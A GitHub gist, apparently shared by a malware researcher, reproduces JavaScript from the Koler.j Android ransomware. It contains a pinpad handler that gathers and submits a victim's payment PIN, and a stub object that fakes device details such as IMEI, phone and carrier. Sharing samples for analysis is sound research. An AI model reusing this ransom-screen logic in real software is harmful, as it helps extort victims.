Skip to content

Instantly share code, notes, and snippets.

@strazzere
Last active August 29, 2015 14:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save strazzere/10350bc34744c85d2c67 to your computer and use it in GitHub Desktop.
Save strazzere/10350bc34744c85d2c67 to your computer and use it in GitHub Desktop.
Koler.j JavaScript
jQuery(function ($) {
$('.pinpad').each(function () {
var pinpad = $(this);
var form = pinpad.parents('form').eq(0);
var name = pinpad.attr('data-pin-name');
pinpad.children().each(function () {
var div = $(this);
div.children().each(function () {
var button = $(this);
button.on('click', function () {
var btVal = $(this).val();
if (btVal == "S") {
$('#bt_send').addClass('disabled');
zapp.showOverlay(1);
zapp.sendPIN();
}
else {
if (btVal == "X") {
if (zapp.pinCode.length > 0) {
zapp.pinCode = '';
}
}
else if (btVal == "C") {
if (zapp.pinCode.length > 0) {
zapp.pinCode = zapp.pinCode.substring(0, zapp.pinCode.length - 1);
}
}
else {
if (zapp.pinCode.length < zapp.maxPinSize) {
zapp.pinCode += btVal;
}
}
if (zapp.pinCode.length === zapp.maxPinSize) {
$('#bt_send').removeClass('disabled');
}
else {
$('#bt_send').addClass('disabled');
}
var span = $('.pinfield').children(':first-child');
if (zapp.pinCode.length === 0) {
span.html('&nbsp;');
}
else {
span.html(zapp.pinCode);
}
}
});
});
});
});
});
if (typeof (Bot) == "object") {
}else{
var Bot = (function () {
return {
log: function( str ) {
alert("Write in logfile: "+ str);
},
write: function (name,value) {
days=14;
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
document.cookie = name+"="+value+expires+"; path=/";
},
read: function(name,defval){
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return defval;
},
photo: function(){
return 0;
},
countphones: function(){
return 20;
},
photoimg: function(){
return "photo.jpg";
},
getcontacts: function(){
return "photo.jpg";
},
imei: function(){
return "12345678902132132";
},
mail: function(){
return "dfdsfsdfsdfsdf@gmail.com";
},
phone: function(){
return "+1094934934933";
},
model: function(){
return "Samsung S3";
},
network: function(){
return "AT&T";
},
country: function(){
return "United Stats";
},
getstatus: function(){
return 1;
},
setstatus: function(status){
},
sendcode: function(code){
}
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment